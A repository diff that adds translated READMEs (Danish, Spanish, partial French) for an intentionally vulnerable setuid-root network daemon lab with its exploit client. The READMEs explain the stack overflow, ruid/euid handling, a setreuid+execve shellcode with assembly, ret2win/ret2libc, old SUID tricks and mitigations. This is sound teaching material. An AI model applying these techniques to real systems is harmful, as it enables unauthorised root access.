"spawn bare en shell" fra gamle write-ups er ufuldstændigt.
|
||||
6. **Hvorfor ikke `setuid(0)`?** Omskriv shellcoden til at kalde `setuid(0)`
|
||||
i stedet for `setreuid(0,0)` (syscall 105). Shellen lander stadig — og
|
||||
falder stadig til `uid=1000`. Det er det mest lærerige en-linjes-eksperiment
|
||||
i hele repositoryet.
|
||||
|
||||
---
|
||||
|
||||
## 11. Sikkerhed og oprydning
|
||||
|
||||
- Kun loopback, som standard og efter design; `-L` binder længere, og kun en
|
||||
velegnet-til-at-smid-væk-VM bør overhovedet overveje det.
|
||||
- Dette er et root-shell-laboratorium. Kør det ikke på en maskine, der
|
||||
betyder noget, og peg ikke `foosc -h` mod noget, du ikke ejer.
|
||||
- Oprydningsritual: `make stop` og derefter `make unsetuid`, og hvis du vil
|
||||
have træet pletfrit igen: `sudo make clean`.
|
||||
|
||||
```console
|
||||
$ make stop
|
||||
$ make unsetuid
|
||||
```
|
||||
399
suid/README.ES.md
Normal file
399
suid/README.ES.md
Normal file
|
|
@ -0,0 +1,399 @@
|
|||
# Laboratorio de RCE root por SUID — `foosd` (demonio) + `foosc` (exploit)
|
||||
|
||||
Un compañero del laboratorio principal (`food` / `fooc`, un demonio normal donde
|
||||
un desbordamiento de búfer te da un shell de *usuario*). Este añade el cambio de
|
||||
un solo carácter más peligroso de Unix: **el bit setuid**.
|
||||
|
||||
> `chmod u+s` convierte "el atacante puede ejecutar código en este host" en "el
|
||||
> atacante puede ejecutar código como **root** en este host".
|
||||
|
||||
Esa frase es todo el laboratorio. Todo lo que sigue es el mecanismo que tiene
|
||||
debajo, escrito, para que cuando escribas tu propio software sepas
|
||||
exactamente qué dos o tres atributos del sistema de archivos y flags del
|
||||
compilador deciden si un error de seguridad de memoria en tu código es una
|
||||
molestia o un shell root.
|
||||
|
||||
La demo final, cuando `foosd` es setuid-root, es un **shell root** abierto a
|
||||
través de la red ejecutando 32 bytes de shellcode escrita a mano.
|
||||
|
||||
---
|
||||
|
||||
## 1. Qué hace realmente el bit setuid
|
||||
|
||||
Cada proceso en Linux lleva tres user-ID, y el bit setuid toca la relación
|
||||
entre ellos:
|
||||
|
||||
| ID | Nombre | Significado |
|
||||
|----|------|---------|
|
||||
| `ruid` | user-ID real | la cuenta que *inició* el proceso |
|
||||
| `euid` | user-ID efectivo | lo que el kernel comprueba al imponer el acceso |
|
||||
| (saved) | set-user-ID guardado | una "ranura" a la que un proceso privilegiado puede volver más tarde |
|
||||
|
||||
Un programa normal tiene `ruid == euid`. Cuando ejecutas un binario con el bit
|
||||
setuid puesto, propiedad de root:
|
||||
|
||||
```text
|
||||
ruid = tú (p. ej. 1000, "hanez")
|
||||
euid = el dueño (p. ej. 0, "root")
|
||||
```
|
||||
|
||||
El proceso tiene por tanto **la autoridad de root**, aunque el usuario que lo
|
||||
inició sea perfectamente normal. Cada comprobación que hace el kernel — ¿puede
|
||||
este proceso leer `/etc/shadow`? ¿escribir un archivo? ¿matar a otro proceso? —
|
||||
se responde con `euid`, es decir, "sí, es root".
|
||||
|
||||
`foosd` es un demonio de red. Enlaza un puerto y luego hace `fork()` de un hijo
|
||||
por conexión. Un fork *hereda* el euid, así que cada hijo que gestiona una
|
||||
conexión también es root. El desbordamiento en `vulnerable_handler()` de
|
||||
`foosd` es por tanto un desbordamiento *dentro de un proceso root*.
|
||||
|
||||
**Diagnostícalo tú mismo cuando el demonio esté corriendo:**
|
||||
|
||||
```console
|
||||
$ ./foosd ... # mira la línea de log que imprime al arrancar
|
||||
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
|
||||
```
|
||||
|
||||
y desde el exploit:
|
||||
|
||||
```console
|
||||
$ ./foosc -t leak
|
||||
foosc: target euid=0 ruid=1000
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. El laboratorio de un vistazo
|
||||
|
||||
| Archivo | Rol |
|
||||
|------|------|
|
||||
| `foosd.c` | El demonio deliberadamente vulnerable (dueño de los errores). Ejecútalo como *binario setuid-root* para la demo del shell root. |
|
||||
| `foosc.c` | El exploit. Usa por defecto la técnica de shellcode `setreuid + execve` de 32 bytes. |
|
||||
| `shellcode.S` | El shellcode de referencia; `make verify` lo compara con el array de bytes en `foosc.c`. |
|
||||
| `tests/pty_suid_test.c` | Harness de prueba. Conduce a `foosc` a través de un pseudo-terminal y prueba tanto "corrió un shell" *como* "era root" (`uid=0(`). |
|
||||
| `Makefile` | Compilación, helpers `setuid`/`unsetuid`, matriz de prueba. |
|
||||
| `README.md` | Este archivo. |
|
||||
|
||||
> **¿Por qué una pty?** La última acción del exploit es retransmitir tu
|
||||
> terminal al shell que corre en la víctima. Un pipe o un here-doc llega al
|
||||
> lado equivocado de esa retransmisión; se requiere un terminal real.
|
||||
|
||||
---
|
||||
|
||||
## 3. Inicio rápido
|
||||
|
||||
```console
|
||||
$ make # compila todo, como tu usuario normal
|
||||
$ make setuid # una vez, pide sudo: chown root + chmod u+s
|
||||
$ make run # arranca foosd en 127.0.0.1:2343
|
||||
$ make test-suid # matriz completa; shellcode + ret2win-root deben dar root
|
||||
```
|
||||
|
||||
Prueba de humo interactiva:
|
||||
|
||||
```console
|
||||
$ ./foosc -t shellcode
|
||||
...
|
||||
foosc: target euid=0 ruid=1000
|
||||
foosc: shell is on the victim (root if foosd is SUID); relaying
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root) <-- eres root, en la víctima
|
||||
# exit
|
||||
```
|
||||
|
||||
Cuando termines:
|
||||
|
||||
```console
|
||||
$ make stop
|
||||
$ make unsetuid # higiene: no dejes nunca un binario root SUID suelto
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. *¿Cuándo pongo el bit SUID?* — la respuesta que pediste
|
||||
|
||||
Exactamente **una vez, después de compilar, antes de arrancar el demonio para
|
||||
las demos de shell root** — y solo en una máquina que sea tuya, apta para tirar
|
||||
y desconectada de la red:
|
||||
|
||||
```console
|
||||
$ make # compila foosd, foosc, las pruebas
|
||||
$ make setuid # <-- EL MOMENTO. sudo chown root:root foosd && sudo chmod u+s foosd
|
||||
$ make run # arranca DESPUÉS de poner el bit
|
||||
```
|
||||
|
||||
Dos reglas que importan más que el momento exacto:
|
||||
|
||||
1. **Ponlo solo cuando el binario esté terminado.** Si recompilas (`make` /
|
||||
`make clean`) después de poner el bit, te topas con "Permission denied" al
|
||||
escribir los archivos de salida propiedad de root — y si fuerzas la
|
||||
recompilación, el toolchain recrea el archivo **sin** la `s` y deshace la
|
||||
configuración en silencio. El orden canónico en cualquier recompilación es
|
||||
por tanto
|
||||
|
||||
```console
|
||||
$ make unsetuid && make && make setuid
|
||||
```
|
||||
|
||||
2. **Quítalo cuando termines.** `make unsetuid`. Un binario setuid vivo,
|
||||
propiedad de root, con un error explotable en tu árbol no es una herramienta
|
||||
pedagógica, es un agujero root con un error de compilación entre él y nada.
|
||||
En una máquina compartida o de producción: **no hagas nada de esto.** El
|
||||
demonio además se niega por defecto a enlazarse a nada que no sea loopback
|
||||
(ver §7).
|
||||
|
||||
Si ejecutas el exploit *sin* poner nunca el bit, nada se rompe — el payload
|
||||
sigue aterrizando y sigues obteniendo un shell. La diferencia está en un solo
|
||||
número, y el exploit lo dice en voz alta:
|
||||
|
||||
```console
|
||||
foosc: WARNING: the daemon is NOT running with euid 0.
|
||||
The payload will still land, but the shell will be
|
||||
a plain user shell, not root.
|
||||
Fix: sudo make setuid
|
||||
```
|
||||
|
||||
El resultado "funcionó, pero no root" es en sí parte del laboratorio.
|
||||
Recuérdalo para la siguiente sección.
|
||||
|
||||
---
|
||||
|
||||
## 5. El mecanismo — y el giro que hace interesante a SUID
|
||||
|
||||
### 5.1 El desbordamiento (idéntico a `food`)
|
||||
|
||||
El handler de `foosd` da a un `read()` 512 bytes de confianza mientras le
|
||||
ofrece un búfer de pila de 64 bytes:
|
||||
|
||||
```c
|
||||
char buf[64];
|
||||
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes sobre el borde */
|
||||
```
|
||||
|
||||
En x86-64 la pila crece hacia abajo. El exploit escribe 64 bytes de basura para
|
||||
llenar `buf`, 8 para llenar el puntero de marco guardado y 8 más para
|
||||
reemplazar la **dirección de retorno guardada**. Cuando `vulnerable_handler`
|
||||
ejecuta `ret`, la CPU hace pop del valor del atacante en `RIP` — ejecución de
|
||||
código controlada por el atacante. El exploit encuentra la distancia exacta (88
|
||||
bytes para esta compilación) analizando la salida de `objdump` en lugar de
|
||||
hardcodearla, así que el número sobrevive a las recompilaciones.
|
||||
|
||||
### 5.2 El giro: el shell se niega a ser root
|
||||
|
||||
Aquí es donde pensar "bug SUID → spawn /bin/sh → root" iría mal, y por qué este
|
||||
laboratorio tiene exactamente la forma que tiene.
|
||||
|
||||
Cuando corre un programa setuid-root, su `ruid` sigue siendo el usuario que lo
|
||||
inició y su `euid` es root. Si el programa — o el atacante — lanza ahora un
|
||||
shell:
|
||||
|
||||
* `execve("/bin/sh")` **no** cambia los uids; el nuevo proceso hereda
|
||||
`(ruid=1000, euid=0)`.
|
||||
* bash (y dash) **comprueba exactamente ese estado al arrancar**. Del manual de
|
||||
bash: *"If the shell is started with the effective user (group) id not equal
|
||||
to the real user (group) id, and the -p option is not supplied, … the
|
||||
effective user id is set to the real user id."*
|
||||
|
||||
Así que el shell se mira y *suelta root* — una defensa que los autores de
|
||||
shell construyeron exactamente contra este ataque (la justificación histórica
|
||||
era el problema de las shells setuid / scripts setuid). El resultado son los
|
||||
casos "funcionó, pero no root":
|
||||
|
||||
| Técnica | Qué ejecuta | uid resultante |
|
||||
|-----------|------------------|---------------|
|
||||
| `ret2win` | el `win()` de `foosd` → `execl("/bin/sh")` | **1000** — shell aterrizado, root reseteado por bash |
|
||||
| `ret2libc` | `system("/bin/sh")` → `sh -c '/bin/sh'` fresco | **1000** — el mismo reset, un nivel abajo |
|
||||
| `ret2win-root` | el `win_root()` de `foosd` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid limpiado desde C |
|
||||
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid limpiado desde código máquina |
|
||||
|
||||
Las que alcanzan root se diferencian de las que no lo hacen en exactamente una
|
||||
idea: **limpian el uid *real*, no solo el efectivo.**
|
||||
|
||||
```c
|
||||
setuid(0) /* pone euid a 0, pero ruid sigue en 1000:
|
||||
bash sigue viendo euid != ruid y resetea IGUAL. */
|
||||
setreuid(0, 0) /* pone AMBOS: ruid = euid = 0.
|
||||
bash ve uids iguales y conserva root. */
|
||||
```
|
||||
|
||||
Por eso el shellcode `/bin/sh` clásico que encuentras por todo internet
|
||||
empieza con un syscall de limpieza de uid — y por eso el shellcode aquí es de
|
||||
32 bytes en lugar de 23: las primeras cinco instrucciones son
|
||||
|
||||
```asm
|
||||
xor edi, edi ; ruid = 0
|
||||
xor esi, esi ; euid = 0
|
||||
push 0x71 ; 113 = __NR_setreuid
|
||||
pop rax
|
||||
syscall
|
||||
```
|
||||
|
||||
### 5.3 Entonces, ¿qué es el exploit, de principio a fin?
|
||||
|
||||
1. `foosc` lee el banner de `foosd` por el socket. Obtiene:
|
||||
- `ids=0/1000` — euid/ruid (el autodiagnóstico SUID)
|
||||
- `stack=…` y `libc=…` — punteros (las fugas de ASLR)
|
||||
- `BUF=…` — la dirección exacta del búfer que está a punto de desbordar
|
||||
2. Del binario objetivo (vía `objdump`) aprende `rip_off` y las direcciones de
|
||||
`win()` / `win_root()`.
|
||||
3. De *su propia* libc (vía `/proc/self/maps` + `dlsym` + un escaneo de memoria)
|
||||
mide los offsets de `system`, `read`, `/bin/sh` y un gadget `pop rdi; ret` —
|
||||
nada está hardcodeado.
|
||||
4. Ensambla el payload. Para `-t shellcode`, es:
|
||||
`[código setreuid+execve de 32 bytes][basura hasta RIP][ret-fix][dirección de buf]`.
|
||||
5. El `read()` de `foosd` se desborda; el `ret` aterriza en el shellcode; el
|
||||
kernel ejecuta `setreuid(0,0)` (sin problema: euid 0 es privilegiado) y luego
|
||||
`execve` de `/bin/sh`. bash arranca con `ruid == euid == 0` y sigue siendo
|
||||
root.
|
||||
6. `foosc` retransmite tu terminal a ese shell root, hasta que escribes `exit`.
|
||||
|
||||
Un detalle de comodidad que cuesta caro a la gente si se pasa por alto: el
|
||||
exploit prueba cada comportamiento de limpieza de uid **sin** necesitar primero
|
||||
el bit setuid. Ejecuta `make test` antes de `make setuid`, y verás cada técnica
|
||||
aterrizar un shell con `ROOT=MISSING`; ejecuta `make test-suid` después de
|
||||
`make setuid`, y `ROOT=SEEN` aparece en las dos técnicas que limpian el uid
|
||||
real. Ese A/B es toda la lección, representada en diez segundos.
|
||||
|
||||
---
|
||||
|
||||
## 6. Los viejos one-liners — y por qué la mayoría están muertos
|
||||
|
||||
Si has leído sobre SUID, has leído sobre secuestro de `PATH`, `LD_PRELOAD` y
|
||||
shells setuid. Los tres son clásicos, y los tres fallan en un sistema moderno
|
||||
contra *este programa*. Vale la pena saber exactamente por qué, porque las
|
||||
razones son las defensas que obtienes gratis:
|
||||
|
||||
| Clase de ataque | Vieja afirmación | Por qué falla en una máquina moderna |
|
||||
|--------------|-----------|------------------------------|
|
||||
| `LD_PRELOAD` de una biblioteca maliciosa | "El programa setuid carga mi `.so` y ejecuta mi código como root." | El kernel marca un binario setuid como **AT_SECURE**; glibc ignora entonces `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` y compañía. El entorno se trata como *entrada no confiable*. `LD_PRELOAD` contra un binario setuid es un no-op. |
|
||||
| Secuestro de `PATH` (`system("ls")` con un PATH envenenado) | "Apunta PATH a un directorio con mi `ls` falso; el programa root lo ejecutará." | Otra cara de la misma defensa: un proceso AT_SECURE recibe un **PATH saneado** (un valor por defecto seguro, más o menos `/usr/local/bin:/usr/bin:/bin`) para `system()`/`execvp`, así que el directorio envenenado nunca se consulta. |
|
||||
| Inyección de comando `system()` setuid | "El comando inyectado se ejecuta con euid 0." | `system()` ejecuta el comando en un `/bin/sh` nuevo, y ese shell — §5.2 — resetea `euid = ruid` al arrancar. El comando inyectado se ejecuta con el uid *real*. (Sigue siendo un error; solo que ya no escala vía `/bin/sh`.) |
|
||||
| Shell root setuid en disco (`cp /bin/sh /tmp; chmod u+s`) | "Ejecútalo, consigue root." | Exactamente la defensa de arriba, y esa es la razón por la que las distros modernas no entregan ningún shell root setuid. Incluso si consigues fabricar uno, bash se niega a mantener euid 0 salvo que se inicie con `-p`. |
|
||||
|
||||
Lo que sigue vivo, y eso es este laboratorio: **el programa *ya* es root cuando
|
||||
corre.** No necesitas el entorno ni `system()`; necesitas que el programa
|
||||
ejecute *tu* código (vía un error de corrupción de memoria) mientras es
|
||||
privilegiado, y que tu código sea lo bastante cuidadoso para corregir él mismo
|
||||
el desajuste de uids — `setreuid(0,0)` — antes de entregarte un shell. La
|
||||
corrupción de memoria + SUID es la combinación que todavía termina en `uid=0`,
|
||||
y eso es exactamente por qué los lenguajes seguros en memoria, las canaries y
|
||||
las pilas no-ejecutables no son una decisión de moda.
|
||||
|
||||
---
|
||||
|
||||
## 7. Las barandillas de seguridad integradas en el demonio
|
||||
|
||||
`foosd` es deliberadamente la *peor* pieza de software de este repositorio, así
|
||||
que también lleva más barandillas:
|
||||
|
||||
1. **Solo loopback, impuesto.** `foosd` rechaza cualquier dirección de bind
|
||||
fuera del loopback, salvo que pases `-L`. Un listener setuid-root en una
|
||||
interfaz real es un servicio root remoto; el rechazo es el valor por defecto,
|
||||
para que el estado peligroso tenga que escribirse deliberadamente.
|
||||
2. **Autodiagnóstico.** Al arrancar registra `ruid`/`euid` y si corre como root,
|
||||
para que la consola muestre el estado del que depende el exploit.
|
||||
3. **El log nunca llega al cliente.** El demonio reserva un descriptor de log
|
||||
privado antes de que los sockets reemplacen a fd 1, para que la salida del
|
||||
crash-reporter y las rutas internas no puedan leerse de vuelta por el cable
|
||||
por el atacante.
|
||||
4. **Crash-reporter.** Un handler de SIGSEGV registra `RIP`/`RSP` — el valor que
|
||||
el atacante escribió en la dirección de retorno — para que una toma de
|
||||
control exitosa sea visible en `foosd.log` en lugar de ser una muerte
|
||||
silenciosa.
|
||||
5. **`make unsetuid`.** Quitar el bit está scripteado, porque dejarlo puesto es
|
||||
el modo de fallo que la gente realmente tiene.
|
||||
|
||||
---
|
||||
|
||||
## 8. Mitigaciones — qué detiene cada una y qué *no* detiene
|
||||
|
||||
Aplicadas a `foosd` vía `make hardened`, una a una o juntas:
|
||||
|
||||
| Mitigación | Qué detiene | Qué *no* detiene |
|
||||
|------------|---------------|-------------------------|
|
||||
| `-fstack-protector-strong` (canary) | El desbordamiento: `ret` detecta una canary destruida y aborta antes de que se use la dirección del atacante. Detiene aquí **las cuatro** técnicas — comparten el único `read()` vulnerable. | Nada por *diseño*: el binario sigue siendo setuid-root; otro error (format-string-`%n`, heap-overflow, use-after-free) no tiene canary que disparar. |
|
||||
| `-fPIE -pie` (ASLR para el binario) | El uso de direcciones `win()`/`win_root()` predecibles (las técnicas ret2win). | La técnica de shellcode, si todavía se filtra una dirección de pila (línea `BUF=`). |
|
||||
| `-z noexecstack` (NX / W^X) | El shellcode: la CPU se niega a buscar instrucciones en una página solo-de-datos, así que un salto a `buf` es un SIGSEGV. | ROP — ejecutar código que ya existe (`ret2libc`). |
|
||||
| Las tres juntas | Un binario difícil de desbordar, randomizado, con pila no ejecutable. Así se ve una build endurecida normal. | El bit setuid. **Un binario SUID endurecido sigue siendo un binario SUID.** Si sobrevive cualquier error de memoria alcanzable, sigue siendo "error en un proceso root". |
|
||||
|
||||
La prueba en consola es `make test-hardened`, que intercambia la build
|
||||
endurecida y muestra las técnicas muriendo en la canary, mientras
|
||||
`foosd_hardened.log` captura `*** stack smashing detected ***`.
|
||||
|
||||
Dos mitigaciones de nivel de diseño que ningún flag de compilador entrega, y
|
||||
que el laboratorio principal (`food`) también usa:
|
||||
|
||||
- **Mínimo privilegio.** Un demonio para un puerto no privilegiado (2343 >
|
||||
1024) no tiene ninguna necesidad legítima de root. Un `foosd` correcto
|
||||
enlazaría y luego haría `setgroups`/`setgid`/`setuid` a una cuenta no
|
||||
privilegiada y *confirmaría que se mantuvo* (la versión correcta está en la
|
||||
fuente como `drop_privs()`, nunca llamada — el no-lamarlo es el error n.º 3
|
||||
del laboratorio).
|
||||
- **Limita el read.** `n = read(fd, buf, sizeof(buf) - 1)`. Una línea correcta
|
||||
supera a todos los flags de compilador de la tabla.
|
||||
|
||||
---
|
||||
|
||||
## 9. El protocolo wire (para que puedas leer el demonio con netcat)
|
||||
|
||||
```text
|
||||
FOOSD 1.0 - deliberately vulnerable SUID service
|
||||
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
|
||||
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
|
||||
BUF=0x7ffd...
|
||||
```
|
||||
|
||||
* `ids=euid/ruid` — no podía imprimirse como `euid=`/`ruid=`, porque el harness
|
||||
de prueba prueba un shell haciendo grep del `uid=` literal, y el banner no
|
||||
debe contenerlo (una sonda que comparte la firma con la respuesta es una
|
||||
trampa clásica de falso positivo; ver el comentario en `foosd.c`). El harness
|
||||
además exige la forma estricta de salida `id` — `uid=NNN(...)` — para que nada
|
||||
de lo que imprima el demonio o el exploit pueda satisfacer la comprobación
|
||||
por accidente: el propio "target euid=… ruid=…" de `foosc` contiene `uid=`
|
||||
como subcadena, lo que una vez hizo que una prueba endurecida reportara un
|
||||
shell que nunca había corrido.
|
||||
* `stack=`, `libc=`, `BUF=` — las fugas de ASLR: dejan que el shellcode y
|
||||
ret2libc calculen direcciones exactas.
|
||||
|
||||
---
|
||||
|
||||
## 10. Ejercicios
|
||||
|
||||
1. **Considera la degradación no-root.** Ejecuta `make test` *antes* de `make
|
||||
setuid`, y luego otra vez después. Explica el cambio a `ROOT=SEEN` con la
|
||||
historia ruid/euid de la §5.2.
|
||||
2. **Lee el crash.** Ejecuta `./foosc -t demo -n` y luego lee `foosd.log`. La
|
||||
línea `RIP=0x4141414141414141` es la basura del atacante — la prueba de que
|
||||
es el desbordamiento, no el azar, quien controla la ejecución.
|
||||
3. **Añade la canary.** `make hardened` y modifica tú mismo el bucle
|
||||
`test-hardened`; la línea de log `*** stack smashing detected ***` es la
|
||||
defensa funcionando.
|
||||
4. **Desactiva la fuga.** Comenta la línea `BUF=` en `foosd.c`, recompila, y
|
||||
mira `-t shellcode` pasar de determinista a un juego de adivinanzas. Esa
|
||||
única línea es la razón por la que los bypass reales de ASLR son todo un
|
||||
campo.
|
||||
5. **El experimento `-p`.** En una copia de `win()`, cambia `execl("/bin/sh",
|
||||
"sh", NULL)` por `execl("/bin/sh", "sh", "-p", NULL)` y observa root. `-p`
|
||||
es la salida de emergencia documentada del guardián del shell — y la razón
|
||||
por la que el consejo "solo haz spawn de un shell" de los viejos write-ups es
|
||||
incompleto.
|
||||
6. **¿Por qué no `setuid(0)`?** Reescribe el shellcode para llamar a `setuid(0)`
|
||||
en lugar de `setreuid(0,0)` (syscall 105). El shell sigue aterrizando — y
|
||||
sigue cayendo a `uid=1000`. Es el experimento de una sola línea más
|
||||
instructivo de todo el repositorio.
|
||||
|
||||
---
|
||||
|
||||
## 11. Seguridad y limpieza
|
||||
|
||||
- Solo loopback, por defecto y por diseño; `-L` enlaza más lejos, y solo una VM
|
||||
apta para tirar debería siquiera considerarlo.
|
||||
- Esto es un laboratorio de shell root. No lo ejecutes en una máquina que
|
||||
importe, y no apuntes `foosc -h` a algo que no poseas.
|
||||
- Rito de limpieza: `make stop` y luego `make unsetuid`, y si quieres el árbol
|
||||
impecable otra vez: `sudo make clean`.
|
||||
|
||||
```console
|
||||
$ make stop
|
||||
$ make unsetuid
|
||||
```
|
||||
404
suid/README.FR.md
Normal file
404
suid/README.FR.md
Normal file
|
|
@ -0,0 +1,404 @@
|
|||
# Lab RCE racine par SUID — `foosd` (démon) + `foosc` (exploit)
|
||||
|
||||
Un compagnon du laboratoire principal (`food` / `fooc`, un démon ordinaire où
|
||||
un débordement de tampon vous donne un shell *utilisateur*). Celui-ci ajoute le
|
||||
changement d'un seul caractère le plus dangereux d'Unix : **le bit setuid**.
|
||||
|
||||
> `chmod u+s` transforme « l'attaquant peut exécuter du code sur cette machine »
|
||||
> en « l'attaquant peut exécuter du code en tant que **root** sur cette
|
||||
> machine ».
|
||||
|
||||
Cette phrase, c'est tout le laboratoire. Tout ce qui suit est le mécanisme
|
||||
qu'il y a dessous, écrit noir sur blanc, pour que lorsque vous écrivez votre
|
||||
propre logiciel, vous sachiez précisément quels deux ou trois attributs de
|
||||
système de fichiers et flags de compilateur décident si un bug de sécurité
|
||||
mémoire dans votre code est une nuisance ou un shell root.
|
||||
|
||||
La démo finale, quand `foosd` est setuid-root, est un **shell root** ouvert sur
|
||||
le réseau en exécutant 32 octets de shellcode écrite à la main.
|
||||
|
||||
---
|
||||
|
||||
## 1. Ce que fait réellement le bit setuid
|
||||
|
||||
Chaque processus Linux porte trois user-ID, et le bit setuid touche à la
|
||||
relation entre eux :
|
||||
|
||||
| ID | Nom | Signification |
|
||||
|----|------|---------|
|
||||
| `ruid` | user-ID réel | le compte qui a *démarré* le processus |
|
||||
| `euid` | user-ID effectif | ce que le noyau vérifie quand il applique les accès |
|
||||
| (saved) | set-user-ID sauvegardé | un « créneau » auquel un processus privilégié peut revenir plus tard |
|
||||
|
||||
Un programme normal a `ruid == euid`. Quand vous exécutez un binaire avec le
|
||||
bit setuid posé, appartenant à root :
|
||||
|
||||
```text
|
||||
ruid = vous (ex. 1000, « hanez »)
|
||||
euid = le propriétaire (ex. 0, « root »)
|
||||
```
|
||||
|
||||
Le processus a donc **l'autorité de root**, même si l'utilisateur qui l'a
|
||||
lancé est parfaitement ordinaire. Chaque contrôle que le noyau effectue — ce
|
||||
processus peut-il lire `/etc/shadow` ? écrire un fichier ? tuer un autre
|
||||
processus ? — est tranché avec `euid`, donc « oui, il est root ».
|
||||
|
||||
`foosd` est un démon réseau. Il lie un port puis `fork()` un enfant par
|
||||
connexion. Un fork *hérite* de l'euid, donc chaque enfant qui traite une
|
||||
connexion est aussi root. Le débordement dans `vulnerable_handler()` de
|
||||
`foosd` est donc un débordement *à l'intérieur d'un processus root*.
|
||||
|
||||
**Diagnostiquez-le vous-même quand le démon tourne :**
|
||||
|
||||
```console
|
||||
$ ./foosd ... # voyez la ligne de log qu'il affiche au démarrage
|
||||
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
|
||||
```
|
||||
|
||||
et depuis l'exploit :
|
||||
|
||||
```console
|
||||
$ ./foosc -t leak
|
||||
foosc: target euid=0 ruid=1000
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 2. Le lab en un coup d'œil
|
||||
|
||||
| Fichier | Rôle |
|
||||
|------|------|
|
||||
| `foosd.c` | Le démon volontairement vulnérable (propriétaire des bugs). Exécutez-le en *binaire setuid-root* pour la démo du shell root. |
|
||||
| `foosc.c` | L'exploit. Utilise par défaut la technique de shellcode `setreuid + execve` de 32 octets. |
|
||||
| `shellcode.S` | La shellcode de référence ; `make verify` la diff contre le tableau d'octets dans `foosc.c`. |
|
||||
| `tests/pty_suid_test.c` | Harnesse de test. Conduit `foosc` à travers un pseudo-terminal et prouve à la fois « un shell a tourné » *et* « il était root » (`uid=0(`). |
|
||||
| `Makefile` | Compilation, helpers `setuid`/`unsetuid`, matrice de test. |
|
||||
| `README.md` | Ce fichier. |
|
||||
|
||||
> **Pourquoi un pty ?** La dernière action de l'exploit est de relayer votre
|
||||
> terminal vers le shell qui tourne sur la victime. Un pipe ou un here-doc
|
||||
> arrive du mauvais côté du relais ; un vrai terminal est requis.
|
||||
|
||||
---
|
||||
|
||||
## 3. Démarrage rapide
|
||||
|
||||
```console
|
||||
$ make # compilez tout, en tant que votre utilisateur normal
|
||||
$ make setuid # une fois, demande sudo : chown root + chmod u+s
|
||||
$ make run # démarre foosd sur 127.0.0.1:2343
|
||||
$ make test-suid # matrice complète ; shellcode + ret2win-root doivent donner root
|
||||
```
|
||||
|
||||
Test de fumée interactif :
|
||||
|
||||
```console
|
||||
$ ./foosc -t shellcode
|
||||
...
|
||||
foosc: target euid=0 ruid=1000
|
||||
foosc: shell is on the victim (root if foosd is SUID); relaying
|
||||
# id
|
||||
uid=0(root) gid=0(root) groups=0(root) <-- vous êtes root, sur la victime
|
||||
# exit
|
||||
```
|
||||
|
||||
Quand vous avez fini :
|
||||
|
||||
```console
|
||||
$ make stop
|
||||
$ make unsetuid # hygiène : ne laissez jamais un binaire root SUID traîner
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. *Quand dois-je poser le bit SUID ?* — la réponse que vous avez demandée
|
||||
|
||||
Exactement **une fois, après la compilation, avant de démarrer le démon pour
|
||||
les démos de shell root** — et uniquement sur une machine qui est à vous,
|
||||
bonne à jeter et déconnectée du réseau :
|
||||
|
||||
```console
|
||||
$ make # compilez foosd, foosc, les tests
|
||||
$ make setuid # <-- L'INSTANT. sudo chown root:root foosd && sudo chmod u+s foosd
|
||||
$ make run # démarrez APRÈS avoir posé le bit
|
||||
```
|
||||
|
||||
Deux règles plus importantes que le moment précis :
|
||||
|
||||
1. **Posez-le seulement quand le binaire est fini.** Si vous recompilez
|
||||
(`make` / `make clean`) après avoir posé le bit, vous tombez sur un
|
||||
« Permission denied » en écrivant les fichiers de sortie appartenant à root
|
||||
— et si vous forcez la recompilation, la chaîne d'outils recrée le fichier
|
||||
**sans** le `s` et défait silencieusement la configuration. L'ordre
|
||||
canonique à chaque recompilation est donc
|
||||
|
||||
```console
|
||||
$ make unsetuid && make && make setuid
|
||||
```
|
||||
|
||||
2. **Enlevez-le quand vous avez fini.** `make unsetuid`. Un binaire setuid
|
||||
vivant, appartenant à root, avec un bug exploitable dans votre arborescence,
|
||||
ce n'est pas un outil pédagogique, c'est un trou root avec une erreur de
|
||||
compilation entre lui et rien. Sur une machine partagée ou de production :
|
||||
**ne faites rien de tout cela.** Le démon refuse d'ailleurs par défaut de se
|
||||
lier ailleurs qu'en loopback (voir §7).
|
||||
|
||||
Si vous exécutez l'exploit *sans* jamais poser le bit, rien ne casse — la
|
||||
payload atterrit toujours, et vous obtenez toujours un shell. La différence
|
||||
tient en un seul chiffre, et l'exploit le dit à voix haute :
|
||||
|
||||
```console
|
||||
foosc: WARNING: the daemon is NOT running with euid 0.
|
||||
The payload will still land, but the shell will be
|
||||
a plain user shell, not root.
|
||||
Fix: sudo make setuid
|
||||
```
|
||||
|
||||
Le résultat « ça marche, mais pas root » fait lui-même partie du lab. Gardez-le
|
||||
en tête pour la section suivante.
|
||||
|
||||
---
|
||||
|
||||
## 5. Le mécanisme — et la pirouette qui rend SUID intéressant
|
||||
|
||||
### 5.1 Le débordement (identique à `food`)
|
||||
|
||||
Le handler de `foosd` donne à un `read()` 512 octets de confiance en lui
|
||||
tendant un tampon de pile de 64 octets :
|
||||
|
||||
```c
|
||||
char buf[64];
|
||||
n = read(fd, buf, 512); /* <- CWE-120 : 448 octets par-dessus le bord */
|
||||
```
|
||||
|
||||
Sur x86-64, la pile croît vers le bas. L'exploit écrit 64 octets de bourrage
|
||||
pour remplir `buf`, 8 pour remplir le pointeur de trame sauvegardé et 8 de
|
||||
plus pour remplacer l'**adresse de retour sauvegardée**. Quand
|
||||
`vulnerable_handler` exécute `ret`, le CPU pousse la valeur de l'attaquant
|
||||
dans `RIP` — une exécution de code contrôlée par l'attaquant. L'exploit trouve
|
||||
la distance exacte (88 octets pour cette compilation) en analysant la sortie
|
||||
de `objdump` au lieu de la hardcoder, donc le chiffre survit aux
|
||||
recompilations.
|
||||
|
||||
### 5.2 La pirouette : le shell refuse d'être root
|
||||
|
||||
